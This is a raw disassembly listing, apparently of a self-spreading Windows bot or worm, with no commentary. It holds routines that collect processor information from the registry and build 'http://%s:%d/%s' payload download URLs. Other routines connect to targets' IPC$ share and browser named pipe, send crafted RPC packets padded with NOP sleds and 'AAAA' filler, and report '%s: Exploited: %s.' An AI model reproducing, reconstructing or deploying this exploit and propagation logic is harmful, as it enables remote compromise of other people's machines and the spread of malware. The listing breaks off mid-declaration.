XREF: sub_401CC0+E0p var_344 = dword ptr -344h var_340 = dword ptr -340h var_33C = dword ptr -33Ch var_335 = byte ptr -335h var_334 = byte ptr -334h var_234 = byte ptr -234h Dest = byte ptr -134h var_133 = byte ptr -133h var_34 = dword ptr -34h var_4 = dword ptr -4 push ebp lea ebp, [esp-2C4h] sub esp, 344h mov eax, dword_423064 xor eax, ebp mov [ebp+2C4h+var_4], eax push ebx push esi push edi push 0Bh pop ecx mov esi, offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... lea edi, [ebp+2C4h+var_34] rep movsd movsw mov ebx, 100h movsb push ebx ; size_t xor esi, esi lea eax, [ebp+2C4h+var_334] push esi ; int push eax ; void * call _memset push 4 ; size_t push offset dword_426BE8 ; void * push offset aMhz ; "~MHz" lea eax, [ebp+2C4h+var_34] push eax ; int push 4 ; char call sub_416ECD add esp, 20h test al, al jz loc_41A5A9 push ebx ; size_t lea eax, [ebp+2C4h+var_334] push eax ; void * push offset aProcessornames ; "ProcessorNameString" lea eax, [ebp+2C4h+var_34] push eax ; int push 1 ; char call sub_416ECD add esp, 14h test al, al jz loc_41A4E9 mov edi, 0FFh push edi ; size_t lea eax, [ebp+2C4h+var_133] push esi ; int push eax ; void * mov [ebp+2C4h+var_335], 0 mov [ebp+2C4h+Dest], 0 call _memset lea eax, [ebp+2C4h+var_334] push eax push offset aS_15 ; "%s" lea eax, [ebp+2C4h+Dest] push edi ; Count push eax ; Dest call __snprintf lea eax, [ebp+2C4h+Dest] add esp, 1Ch lea esi, [eax+1] loc_41A45C: ; CODE XREF: sub_41A391+D0j mov cl, [eax] inc eax test cl, cl jnz short loc_41A45C sub eax, esi push ebx ; size_t push 0 ; int mov esi, offset Dest push esi ; void * mov [ebp+eax+2C4h+Dest], cl call _memset add esp, 0Ch xor ecx, ecx mov [ebp+2C4h+var_33C], ecx loc_41A482: ; CODE XREF: sub_41A391+154j cmp [ebp+2C4h+var_335], 0 jnz short loc_41A499 cmp [ebp+ecx+2C4h+Dest], 20h jz short loc_41A4C9 mov [ebp+2C4h+var_335], 1 dec ecx jmp short loc_41A4C9 ; --------------------------------------------------------------------------- loc_41A499: ; CODE XREF: sub_41A391+F5j movsx eax, [ebp+ecx+2C4h+Dest] push eax push esi push offset aSC_1 ; "%s%c" push edi ; Count push esi ; Dest call __snprintf mov eax, esi add esp, 14h lea ecx, [eax+1] loc_41A4B7: ; CODE XREF: sub_41A391+12Bj mov dl, [eax] inc eax test dl, dl jnz short loc_41A4B7 sub eax, ecx mov ecx, [ebp+2C4h+var_33C] mov Dest[eax], dl loc_41A4C9: ; CODE XREF: sub_41A391+FFj ; sub_41A391+106j lea eax, [ebp+2C4h+Dest] inc ecx lea edx, [eax+1] mov [ebp+2C4h+var_33C], ecx mov [ebp+2C4h+var_344], edx loc_41A4D9: ; CODE XREF: sub_41A391+14Dj mov dl, [eax] inc eax test dl, dl jnz short loc_41A4D9 sub eax, [ebp+2C4h+var_344] cmp ecx, eax jbe short loc_41A482 jmp short loc_41A51C ; --------------------------------------------------------------------------- loc_41A4E9: ; CODE XREF: sub_41A391+85j push ebx ; size_t push esi ; int mov esi, offset Dest push esi ; void * call _memset push offset aUnknown ; "Unknown" mov edi, 0FFh push edi ; Count push esi ; Dest call __snprintf add esp, 18h lea eax, [esi+1] loc_41A50D: ; CODE XREF: sub_41A391+181j mov cl, [esi] inc esi test cl, cl jnz short loc_41A50D sub esi, eax mov Dest[esi], cl loc_41A51C: ; CODE XREF: sub_41A391+156j and dword_426BEC, 0 mov [ebp+2C4h+var_33C], 1 loc_41A52A: ; CODE XREF: sub_41A391+20Dj inc dword_426BEC push ebx ; size_t lea eax, [ebp+2C4h+var_234] push 0 ; int push eax ; void * call _memset push [ebp+2C4h+var_33C] lea eax, [ebp+2C4h+var_234] push offset aHardwareDesc_0 ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push edi ; Count push eax ; Dest call __snprintf lea eax, [ebp+2C4h+var_234] add esp, 1Ch lea esi, [eax+1] loc_41A560: ; CODE XREF: sub_41A391+1D4j mov cl, [eax] inc eax test cl, cl jnz short loc_41A560 sub eax, esi mov [ebp+eax+2C4h+var_234], cl lea eax, [ebp+2C4h+var_340] push eax push 1 push 0 lea eax, [ebp+2C4h+var_234] push eax push 80000002h call ds:dword_41D02C ; RegOpenKeyExA test eax, eax jnz short loc_41A5A0 push [ebp+2C4h+var_340] call ds:dword_41D010 ; RegCloseKey inc [ebp+2C4h+var_33C] cmp [ebp+2C4h+var_33C], 8 jb short loc_41A52A loc_41A5A0: ; CODE XREF: sub_41A391+1FBj push [ebp+2C4h+var_340] call ds:dword_41D010 ; RegCloseKey loc_41A5A9: ; CODE XREF: sub_41A391+62j mov ecx, [ebp+2C4h+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_402710 add ebp, 2C4h leave retn sub_41A391 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A5C1 proc near ; CODE XREF: sub_41A8D5+B7p var_518 = dword ptr -518h var_508 = dword ptr -508h var_504 = byte ptr -504h var_501 = byte ptr -501h var_390 = dword ptr -390h var_21C = byte ptr -21Ch var_21B = byte ptr -21Bh Dest = byte ptr -11Ch var_11B = byte ptr -11Bh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 508h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push esi push edi mov [ebp+var_508], eax mov eax, ds:dword_41EF64 mov [ebp+var_C], eax mov eax, ds:dword_41EF68 mov esi, offset dword_41EF6C lea edi, [ebp+var_504] mov ebx, 16Fh movsw push ebx ; size_t mov [ebp+var_8], eax lea eax, [ebp+var_501] push 0 ; int push eax ; void * movsb call _memset mov esi, offset dword_41EF70 lea edi, [ebp+var_390] movsw movsb push ebx ; size_t xor esi, esi lea eax, [ebp+var_390+3] push esi ; int push eax ; void * call _memset xor eax, eax mov [ebp+var_1C], 0 lea edi, [ebp+var_1B] stosd stosd stosd stosw stosb mov edi, 0FFh push edi ; size_t lea eax, [ebp+var_21B] push esi ; int push eax ; void * mov [ebp+var_21C], 0 call _memset push edi ; size_t lea eax, [ebp+var_11B] push esi ; int push eax ; void * mov [ebp+Dest], 0 call _memset add esp, 30h cmp [ebp+arg_4], 0 jz short loc_41A6F1 call sub_419347 test al, al jnz short loc_41A6D9 push dword_4269BC lea esi, [ebp+var_1C] call sub_418FC6 lea esi, [ebp+var_21C] mov ebx, offset byte_425061 mov [esp+518h+var_518], 100h call sub_4196D1 mov eax, esi push eax push dword_426594 lea eax, [ebp+var_1C] push eax push offset aHttpSDS_0 ; "http://%s:%d/%s" lea eax, [ebp+Dest] push edi ; Count push eax ; Dest call __snprintf lea eax, [ebp+Dest] add esp, 1Ch lea edx, [eax+1] loc_41A6D0: ; CODE XREF: sub_41A5C1+114j mov cl, [eax] inc eax test cl, cl jnz short loc_41A6D0 jmp short loc_41A748 ; --------------------------------------------------------------------------- loc_41A6D9: ; CODE XREF: sub_41A5C1+BDj push 100h lea esi, [ebp+Dest] mov ebx, offset dword_425580 call sub_4196D1 pop ecx jmp short loc_41A752 ; --------------------------------------------------------------------------- loc_41A6F1: ; CODE XREF: sub_41A5C1+B4j push dword_4269BC lea esi, [ebp+var_1C] call sub_418FC6 lea esi, [ebp+var_21C] mov ebx, offset byte_425061 mov [esp+518h+var_518], 100h call sub_4196D1 mov eax, esi push eax push dword_426594 lea eax, [ebp+var_1C] push eax push offset aHttpSDS_1 ; "http://%s:%d/%s" lea eax, [ebp+Dest] push edi ; Count push eax ; Dest call __snprintf lea eax, [ebp+Dest] add esp, 1Ch lea edx, [eax+1] loc_41A741: ; CODE XREF: sub_41A5C1+185j mov cl, [eax] inc eax test cl, cl jnz short loc_41A741 loc_41A748: ; CODE XREF: sub_41A5C1+116j sub eax, edx mov [ebp+eax+Dest], 0 loc_41A752: ; CODE XREF: sub_41A5C1+12Ej lea eax, [ebp+Dest] push eax ; int lea eax, [ebp+var_504] push eax ; void * call sub_41432A mov esi, eax test esi, esi pop ecx pop ecx jnz short loc_41A774 loc_41A76D: ; CODE XREF: sub_41A5C1+1EBj xor eax, eax jmp loc_41A8C6 ; --------------------------------------------------------------------------- loc_41A774: ; CODE XREF: sub_41A5C1+1AAj lea eax, [ebp+var_C] push eax push esi lea eax, [ebp+var_504] push eax push 2 lea ebx, [ebp+var_390] call sub_41411F add esp, 10h test eax, eax jnz short loc_41A7AE lea eax, [ebp+var_C] push eax push esi lea eax, [ebp+var_504] push eax push 2 call sub_41411F add esp, 10h test eax, eax jz short loc_41A76D loc_41A7AE: ; CODE XREF: sub_41A5C1+1D1j mov ebx, [ebp+var_508] push 9 pop ecx xor eax, eax mov edi, ebx stosd push 0FFh ; size_t lea eax, [ebx+24h] push 61h ; int mov esi, offset dword_4245DC mov edi, ebx push eax ; void * rep movsd call _memset mov esi, 101h push esi ; size_t lea eax, [ebx+123h] push 62h ; int push eax ; void * call _memset mov eax, 1010101h lea edi, [ebx+224h] push esi ; size_t stosw lea eax, [ebx+226h] push 22h ; int push eax ; void * call _memset mov eax, 1010101h lea edi, [ebx+327h] stosw lea edi, [ebx+42Ah] add esp, 24h and [ebp+var_8], 0 mov [ebp+var_508], edi jmp short loc_41A82D ; --------------------------------------------------------------------------- loc_41A827: ; CODE XREF: sub_41A5C1+29Bj mov edi, [ebp+var_508] loc_41A82D: ; CODE XREF: sub_41A5C1+264j mov eax, [ebp+var_8] add eax, 64h push esi ; size_t push eax ; int lea eax, [edi-101h] push eax ; void * call _memset add [ebp+var_508], 103h add esp, 0Ch inc [ebp+var_8] cmp [ebp+var_8], 8 mov eax, 1010101h stosw jl short loc_41A827 push 9 pop ecx mov eax, 6C6C6C6Ch lea edi, [ebx+0B41h] rep stosd stosb lea edi, [ebx+0B66h] mov esi, offset dword_424604 movsd movsd lea eax, [ebp+var_390] movsw mov esi, ds:dword_41D0A4 push eax call esi ; lstrlen push eax lea eax, [ebp+var_390] push eax lea eax, [ebx+0B70h] push eax call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime add esp, 0Ch push 54Ah push 6Dh ; size_t lea eax, [ebp+var_390] push eax ; int call esi ; lstrlen lea eax, [eax+ebx+0B70h] push eax ; void * call _memset add esp, 0Ch mov eax, ebx loc_41A8C6: ; CODE XREF: sub_41A5C1+1AEj mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_402710 leave retn sub_41A5C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=12BCh sub_41A8D5 proc near ; DATA XREF: .data:004245A8o var_133C = byte ptr -133Ch var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1234 = dword ptr -1234h var_122F = dword ptr -122Fh var_1228 = word ptr -1228h var_1226 = word ptr -1226h var_1224 = dword ptr -1224h var_1218 = byte ptr -1218h var_1217 = byte ptr -1217h var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp lea ebp, [esp-12BCh] mov eax, 133Ch call __alloca_probe mov eax, dword_423064 xor eax, ebp mov [ebp+12BCh+var_4], eax push esi push edi push 44h pop ecx lea esi, [ebp+12BCh+arg_0] lea edi, [ebp+12BCh+var_133C] rep movsd mov esi, 1211h push esi ; size_t lea eax, [ebp+12BCh+var_1217] push 0 ; int push eax ; void * mov [ebp+12BCh+var_1218], 0 call _memset mov eax, [ebp+12BCh+var_1238] add esp, 0Ch push [ebp+12BCh+var_1234] mov [ebp+12BCh+var_1228], 2 mov [ebp+12BCh+var_1224], eax call ds:dword_41D278 ; htons push 6 push 1 push 2 mov [ebp+12BCh+var_1226], ax call ds:dword_41D27C ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_41A961 loc_41A95D: ; CODE XREF: sub_41A8D5+A8j xor al, al jmp short loc_41A9C7 ; --------------------------------------------------------------------------- loc_41A961: ; CODE XREF: sub_41A8D5+86j push 10h lea eax, [ebp+12BCh+var_1228] push eax push edi call ds:dword_41D240 ; connect cmp eax, 0FFFFFFFFh jnz short loc_41A97F loc_41A976: ; CODE XREF: sub_41A8D5+C0j push edi loc_41A977: ; CODE XREF: sub_41A8D5+D7j call ds:dword_41D224 ; closesocket jmp short loc_41A95D ; --------------------------------------------------------------------------- loc_41A97F: ; CODE XREF: sub_41A8D5+9Fj push [ebp+12BCh+var_122F] lea eax, [ebp+12BCh+var_1218] push eax call sub_41A5C1 test eax, eax pop ecx pop ecx jz short loc_41A976 push 0 push esi lea eax, [ebp+12BCh+var_1218] push eax push edi call ds:dword_41D228 ; send cmp eax, 0FFFFFFFFh push edi jz short loc_41A977 call ds:dword_41D224 ; closesocket mov eax, [ebp+12BCh+var_123C] imul eax, 2Ch lea eax, dword_42454C[eax] inc dword ptr [eax] mov al, 1 loc_41A9C7: ; CODE XREF: sub_41A8D5+8Aj mov ecx, [ebp+12BCh+var_4] pop edi xor ecx, ebp pop esi call sub_402710 add ebp, 12BCh leave retn sub_41A8D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A9DE proc near ; CODE XREF: sub_413A2D+20Cp ; sub_413A2D+31Dp ... var_642C = dword ptr -642Ch var_6419 = byte ptr -6419h var_6418 = dword ptr -6418h Memory = dword ptr -6414h var_6410 = dword ptr -6410h var_640C = dword ptr -640Ch Str1 = dword ptr -6408h var_6404 = dword ptr -6404h var_6400 = dword ptr -6400h var_63FC = dword ptr -63FCh var_63F8 = byte ptr -63F8h var_63F4 = dword ptr -63F4h var_63F0 = byte ptr -63F0h var_63EF = byte ptr -63EFh var_63EE = byte ptr -63EEh var_63ED = byte ptr -63EDh var_63EC = byte ptr -63ECh var_63E8 = dword ptr -63E8h var_63E4 = dword ptr -63E4h var_63DC = word ptr -63DCh var_63DA = word ptr -63DAh var_63D8 = byte ptr -63D8h var_63C8 = dword ptr -63C8h var_63C4 = byte ptr -63C4h var_63C0 = byte ptr -63C0h var_63AC = dword ptr -63ACh var_63A0 = dword ptr -63A0h var_639C = dword ptr -639Ch var_6398 = dword ptr -6398h var_6394 = dword ptr -6394h var_6390 = dword ptr -6390h var_638C = dword ptr -638Ch var_6388 = dword ptr -6388h var_6384 = dword ptr -6384h var_6380 = dword ptr -6380h var_637C = dword ptr -637Ch var_6378 = dword ptr -6378h var_6374 = dword ptr -6374h var_6370 = word ptr -6370h var_636E = byte ptr -636Eh var_636D = byte ptr -636Dh var_636C = dword ptr -636Ch var_6368 = word ptr -6368h var_6366 = word ptr -6366h var_6364 = dword ptr -6364h var_6360 = word ptr -6360h var_635E = word ptr -635Eh var_635C = dword ptr -635Ch var_6358 = dword ptr -6358h var_6354 = word ptr -6354h var_6352 = byte ptr -6352h var_6350 = byte ptr -6350h var_6340 = dword ptr -6340h var_633C = byte ptr -633Ch var_632C = dword ptr -632Ch var_6328 = dword ptr -6328h var_6228 = dword ptr -6228h var_6224 = dword ptr -6224h var_621C = byte ptr -621Ch var_6218 = byte ptr -6218h var_6217 = byte ptr -6217h var_6208 = dword ptr -6208h var_6108 = byte ptr -6108h var_6107 = byte ptr -6107h Dest = byte ptr -6008h var_4008 = byte ptr -4008h var_2008 = byte ptr -2008h var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp and esp, 0FFFFFFF8h mov eax, 641Ch call __alloca_probe mov eax, dword_423064 xor eax, esp mov [esp+641Ch+var_4], eax push ebx push esi push edi push 44h pop ecx lea esi, [ebp+arg_0] lea edi, [esp+6428h+var_6328] rep movsd mov eax, [esp+6428h+var_6224] push eax mov [esp+642Ch+var_63F4], eax call ds:dword_41D260 ; inet_ntoa xor ebx, ebx mov [esp+6428h+Str1], eax mov [esp+6428h+var_6410], ebx loc_41AA2A: ; CODE XREF: sub_41A9DE+722j cmp [esp+6428h+var_6410], 2 ja loc_41B10F push offset a_ ; "." push [esp+642Ch+Str1] ; Str1 call __stricmp test eax, eax pop ecx pop ecx jz short loc_41AA9D push [esp+6428h+Str1] lea eax, [esp+642Ch+Dest] push offset aSIpc ; "\\\\%s\\ipc$" push 2000h ; Count push eax ; Dest call __snprintf add esp, 10h push 8 pop ecx xor eax, eax push ebx lea edi, [esp+642Ch+var_63C0] rep stosd lea eax, [esp+642Ch+Dest] push offset byte_41EEEE mov [esp+6430h+var_63AC], eax push offset byte_41EEEF lea eax, [esp+6434h+var_63C0] push eax call sub_402642 test eax, eax jnz loc_41B10F loc_41AA9D: ; CODE XREF: sub_41A9DE+69j push [esp+6428h+Str1] lea eax, [esp+642Ch+var_4008] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push 2000h ; Count push eax ; Dest call __snprintf add esp, 10h push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h lea eax, [esp+6440h+var_4008] push eax call ds:dword_41D06C ; CreateFileA cmp eax, 0FFFFFFFFh mov [esp+6428h+var_6418], eax jz loc_41B10F push 48h ; size_t lea eax, [esp+642Ch+var_6370] push ebx ; int push eax ; void * call _memset mov byte ptr [esp+6434h+var_6370], 5 mov byte ptr [esp+6434h+var_6370+1], bl mov [esp+6434h+var_636E], 0Bh mov [esp+6434h+var_636D], 3 mov [esp+6434h+var_636C], 10h mov [esp+6434h+var_6368], 48h mov [esp+6434h+var_6366], bx mov [esp+6434h+var_6364], ebx mov [esp+6434h+var_6360], 10B8h mov [esp+6434h+var_635E], 10B8h mov [esp+6434h+var_635C], ebx mov [esp+6434h+var_6358], 1 mov [esp+6434h+var_6354], bx mov [esp+6434h+var_6352], 1 mov esi, offset dword_41F02C lea edi, [esp+6434h+var_6350] movsd movsd movsd movsd mov [esp+6434h+var_6340], 3 mov esi, offset dword_41F040 lea edi, [esp+6434h+var_633C] movsd movsd add esp, 0Ch movsd push 2 movsd pop esi push ebx lea eax, [esp+642Ch+var_63C4] push eax push 48h lea eax, [esp+6434h+var_6370] push eax push [esp+6438h+var_6418] mov [esp+643Ch+var_632C], esi call ds:dword_41D088 ; WriteFile test eax, eax jz loc_41B105 push ebx lea eax, [esp+642Ch+var_63F8] push eax push 2000h lea eax, [esp+6434h+var_2008] push eax push [esp+6438h+var_6418] call ds:dword_41D078 ; ReadFile call ds:dword_41D108 ; GetTickCount push eax ; Seed call _srand mov edx, 41414141h mov eax, edx lea edi, [esp+642Ch+var_6384] stosd stosd stosd stosd pop ecx stosd push 7 pop ecx mov eax, edx lea edi, [esp+6428h+var_63A0] rep stosd call _rand mov [esp+6428h+var_6384], eax xor eax, eax inc eax cmp [esp+6428h+var_6410], eax mov [esp+6428h+var_6378], eax mov [esp+6428h+var_637C], ebx mov [esp+6428h+var_6380], eax mov word ptr [esp+6428h+var_6374], bx jnz short loc_41AC5D mov [esp+6428h+var_6394], eax mov [esp+6428h+var_639C], eax mov [esp+6428h+var_6390], ebx jmp short loc_41AC7C ; --------------------------------------------------------------------------- loc_41AC5D: ; CODE XREF: sub_41A9DE+266j cmp [esp+6428h+var_6410], ebx jnz short loc_41AC83 mov [esp+6428h+var_6394], esi mov [esp+6428h+var_639C], esi mov [esp+6428h+var_6390], 2EBh loc_41AC7C: ; CODE XREF: sub_41A9DE+27Dj mov [esp+6428h+var_6398], ebx loc_41AC83: ; CODE XREF: sub_41A9DE+283j call _rand cdq mov esi, 0FAh mov ecx, esi idiv ecx inc edx mov [esp+6428h+var_63A0], edx call _rand cdq idiv esi mov eax, [esp+6428h+var_6410] shl eax, 4 mov edi, dword_424628[eax] push edi ; Size mov [esp+642Ch+var_6388], ebx mov [esp+642Ch+var_63FC], eax mov [esp+642Ch+var_6400], edi inc edx mov [esp+642Ch+var_638C], edx call _malloc mov esi, eax cmp esi, ebx pop ecx mov [esp+6428h+Memory], esi jz loc_41B105 lea eax, [edi-2] push eax ; size_t push 90h ; int push esi ; void * call _memset lea edi, [esi+edi-2] xor eax, eax stosw mov eax, [esp+6434h+var_63FC] mov eax, dword_424630[eax] lea edi, [eax+esi] mov esi, offset dword_42461C movsd movsw add eax, 7 movsb mov [esp+6434h+var_6404], eax xor eax, eax mov [esp+6434h+var_6218], bl lea edi, [esp+6434h+var_6217] stosd stosd stosd stosw stosb add esp, 0Ch mov edi, 0FFh push edi ; size_t lea eax, [esp+642Ch+var_6107] push ebx ; int push eax ; void * mov [esp+6434h+var_6108], bl call _memset add esp, 0Ch push edi ; size_t lea eax, [esp+642Ch+var_6208+1] push ebx ; int push eax ; void * mov byte ptr [esp+6434h+var_6208], bl call _memset add esp, 0Ch cmp [esp+6428h+var_621C+1], bl jz loc_41ADF3 call sub_419347 test al, al jnz short loc_41ADDA push dword_4269BC lea esi, [esp+642Ch+var_6218] call sub_418FC6 lea esi, [esp+642Ch+var_6108] mov ebx, offset byte_425061 mov [esp+642Ch+var_642C], 100h call sub_4196D1 pop ecx mov eax, esi push eax push dword_426594 lea eax, [esp+6430h+var_6218] push eax push offset aHttpSDS_2 ; "http://%s:%d/%s" lea eax, [esp+6438h+var_6208] push edi ; Count push eax ; Dest call __snprintf lea eax, [esp+6440h+var_6208] add esp, 18h lea ecx, [eax+1] loc_41ADD1: ; CODE XREF: sub_41A9DE+3F8j mov dl, [eax] inc eax test dl, dl jnz short loc_41ADD1 jmp short loc_41AE56 ; --------------------------------------------------------------------------- loc_41ADDA: ; CODE XREF: sub_41A9DE+395j push 100h lea esi, [esp+642Ch+var_6208] mov ebx, offset dword_425580 call sub_4196D1 pop ecx jmp short loc_41AE60 ; --------------------------------------------------------------------------- loc_41ADF3: ; CODE XREF: sub_41A9DE+388j push dword_4269BC lea esi, [esp+642Ch+var_6218] call sub_418FC6 lea esi, [esp+642Ch+var_6108] mov ebx, offset byte_425061 mov [esp+642Ch+var_642C], 100h call sub_4196D1 pop ecx mov eax, esi push eax push dword_426594 lea eax, [esp+6430h+var_6218] push eax push offset aHttpSDS_3 ; "http://%s:%d/%s" lea eax, [esp+6438h+var_6208] push edi ; Count push eax ; Dest call __snprintf lea eax, [esp+6440h+var_6208] add esp, 18h lea ecx, [eax+1] loc_41AE4F: ; CODE XREF: sub_41A9DE+476j mov dl, [eax] inc eax test dl, dl jnz short loc_41AE4F loc_41AE56: ; CODE XREF: sub_41A9DE+3FAj sub eax, ecx mov byte ptr [esp+eax+6428h+var_6208], 0 loc_41AE60: ; CODE XREF: sub_41A9DE+413j lea eax, [esp+6428h+var_6208] push eax ; int mov esi, offset dword_433950 push esi ; void * call sub_41432A test eax, eax pop ecx pop ecx mov [esp+6428h+var_640C], eax jz loc_41B126 mov edi, offset dword_424614 push edi push eax push esi push 1 mov ebx, offset dword_433AC8 call sub_41411F add esp, 10h test eax, eax jnz short loc_41AEB4 push edi push [esp+642Ch+var_640C] push esi push 2 call sub_41411F add esp, 10h test eax, eax jz loc_41B126 loc_41AEB4: ; CODE XREF: sub_41A9DE+4BCj mov esi, [esp+6428h+Memory] dec eax push eax mov eax, [esp+642Ch+var_6404] add eax, esi push ebx push eax call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime mov eax, [esp+6434h+var_63FC] mov eax, dword_42462C[eax] add esp, 0Ch cmp [esp+6428h+var_6410], 1 jnz short loc_41AF07 mov ecx, dword_433C68 mov [eax+esi], ecx mov ecx, dword_424644 add eax, 0Ch mov [eax+esi], ecx mov ecx, dword_424644 lea eax, [eax+esi+24h] mov [eax], ecx mov ecx, dword_424644 mov [eax+0Ch], ecx jmp short loc_41AF21 ; --------------------------------------------------------------------------- loc_41AF07: ; CODE XREF: sub_41A9DE+4FBj cmp [esp+6428h+var_6410], 0 jnz short loc_41AF21 push 10h add eax, esi pop ecx loc_41AF13: ; CODE XREF: sub_41A9DE+541j mov edx, dword_424644 mov [eax], edx add eax, 4 dec ecx jnz short loc_41AF13 loc_41AF21: ; CODE XREF: sub_41A9DE+527j ; sub_41A9DE+52Ej mov edi, [esp+6428h+var_6400] add edi, 42h push edi ; Size call _malloc mov ebx, eax test ebx, ebx pop ecx jz loc_41B13C push edi ; size_t push 0 ; double push ebx ; void * call _memset push 5 pop ecx lea esi, [esp+6434h+var_6384] mov edi, ebx rep movsd mov esi, [esp+6434h+var_6400] mov eax, esi test eax, eax mov [esp+6434h+var_640C], eax fild [esp+6434h+var_640C] jge short loc_41AF68 fadd ds:flt_420D38 loc_41AF68: ; CODE XREF: sub_41A9DE+582j fmul ds:dbl_420D30 add esp, 4 fstp [esp+6430h+var_640C] fld [esp+6430h+var_640C] fstp qword ptr [esp] call _ceil fstp [esp+6430h+var_640C] fld [esp+6430h+var_640C] call __ftol2 and dword ptr [ebx+18h], 0 push esi push [esp+6434h+Memory] mov [ebx+1Ch], eax mov [ebx+14h], eax lea eax, [ebx+20h] push eax call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime add esp, 14h lea eax, [esi+20h] jmp short loc_41AFAF ; --------------------------------------------------------------------------- loc_41AFAE: ; CODE XREF: sub_41A9DE+5D3j inc eax loc_41AFAF: ; CODE XREF: sub_41A9DE+5CEj test al, 3 jnz short loc_41AFAE push 7 lea edi, [ebx+eax] pop ecx push [esp+6428h+Memory] ; Memory add eax, 1Ch lea esi, [esp+642Ch+var_63A0] rep movsd mov [esp+642Ch+var_6404], eax call _free pop ecx push 6 xor eax, eax pop ecx lea edi, [esp+6428h+var_63F0] rep stosd mov [esp+6428h+var_63EF], al mov [esp+6428h+var_63EE], al lea edi, [esp+6428h+var_63D8] stosd xor esi, esi stosd stosd push esi push esi stosd push 1 push esi mov [esp+6438h+var_63F0], 5 mov [esp+6438h+var_63ED], 3 mov dword ptr [esp+6438h+var_63EC], 10h mov word ptr [esp+6438h+var_63E8+2], si mov [esp+6438h+var_63E4], esi mov [esp+6438h+var_63DC], si mov [esp+6438h+var_63DA], 1Fh stosd call ds:dword_41D09C ; CreateEventA mov [esp+6428h+var_63C8], eax mov [esp+6428h+var_6419], 0 mov [esp+6428h+Memory], esi loc_41B030: ; CODE XREF: sub_41A9DE+6E4j cmp [esp+6428h+Memory], 2 jge loc_41B0C8 inc [esp+6428h+Memory] push 1 ; char push 10B8h ; int push [esp+6430h+var_6404] ; Memory lea esi, [esp+6434h+var_63F0] push ebx ; int sub esp, 18h push 6 pop ecx mov edi, esp push [esp+6450h+var_6418] ; int rep movsd call sub_416D6C add esp, 2Ch test al, al jz short loc_41B0C8 cmp [esp+6428h+var_63C8], 0 jz short loc_41B0BD lea eax, [esp+6428h+var_63D8] push eax lea eax, [esp+642Ch+var_63F8] push eax push 2000h lea eax, [esp+6434h+var_2008] push eax push [esp+6438h+var_6418] call ds:dword_41D078 ; ReadFile test eax, eax jnz short loc_41B0A2 call ds:dword_41D0F0 ; RtlGetLastWin32Error cmp eax, 3E5h jnz short loc_41B0BD loc_41B0A2: ; CODE XREF: sub_41A9DE+6B5j push 3E8h push [esp+642Ch+var_63C8] call ds:dword_41D07C ; WaitForSingleObject cmp eax, 102h jnz short loc_41B0BD mov [esp+6428h+var_6419], 1 loc_41B0BD: ; CODE XREF: sub_41A9DE+690j ; sub_41A9DE+6C2j ... cmp [esp+6428h+var_6419], 0 jz loc_41B030 loc_41B0C8: ; CODE XREF: sub_41A9DE+657j ; sub_41A9DE+689j push [esp+6428h+var_6418] mov esi, ds:dword_41D0DC call esi ; CloseHandle push ebx ; Memory call _free cmp [esp+642Ch+var_63C8], 0 pop ecx jz short loc_41B0E8 push [esp+6428h+var_63C8] call esi ; CloseHandle loc_41B0E8: ; CODE XREF: sub_41A9DE+702j cmp [esp+6428h+var_6419], 0 jnz short loc_41B149 cmp [esp+6428h+var_6410], 0 jnz short loc_41B10F mov [esp+6428h+var_6410], 1 xor ebx, ebx jmp loc_41AA2A ; --------------------------------------------------------------------------- loc_41B105: ; CODE XREF: sub_41A9DE+1E5j ; sub_41A9DE+2F7j push [esp+6428h+var_6418] call ds:dword_41D0DC ; CloseHandle loc_41B10F: ; CODE XREF: sub_41A9DE+51j ; sub_41A9DE+B9j ... xor al, al loc_41B111: ; CODE XREF: sub_41A9DE+7BDj mov ecx, [esp+6428h+var_4] pop edi pop esi pop ebx xor ecx, esp call sub_402710 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41B126: ; CODE XREF: sub_41A9DE+49Dj ; sub_41A9DE+4D0j push [esp+6428h+var_6418] call ds:dword_41D0DC ; CloseHandle push [esp+6428h+Memory] ; Memory loc_41B134: ; CODE XREF: sub_41A9DE+769j call _free pop ecx jmp short loc_41B10F ; --------------------------------------------------------------------------- loc_41B13C: ; CODE XREF: sub_41A9DE+555j push [esp+6428h+var_6418] call ds:dword_41D0DC ; CloseHandle push esi jmp short loc_41B134 ; --------------------------------------------------------------------------- loc_41B149: ; CODE XREF: sub_41A9DE+70Fj push [esp+6428h+var_63F4] call ds:dword_41D260 ; inet_ntoa push eax mov eax, [esp+642Ch+var_6228] imul eax, 2Ch add eax, offset dword_424528 push eax ; Args push offset aSExploitedS_ ; "%s: Exploited: %s." lea eax, [esp+6434h+var_6328] push eax ; int push dword ptr [esp+6438h+var_621C] ; char push offset dword_4269BC ; int call sub_417361 mov eax, [esp+6440h+var_6228] imul eax, 2Ch lea eax, dword_42454C[eax] add esp, 18h inc dword ptr [eax] mov al, [esp+6428h+var_6419] jmp loc_41B111 sub_41A9DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=0CD8h sub_41B1A0 proc near ; DATA XREF: .data:0042457Co var_D54 = dword ptr -0D54h var_D50 = dword ptr -0D50h var_D4C = dword ptr -0D4Ch var_D48 = dword ptr -0D48h var_D44 = byte ptr -0D44h var_D40 = dword ptr -0D40h var_D3C = dword ptr -0D3Ch var_D38 = dword ptr -0D38h var_D34 = dword 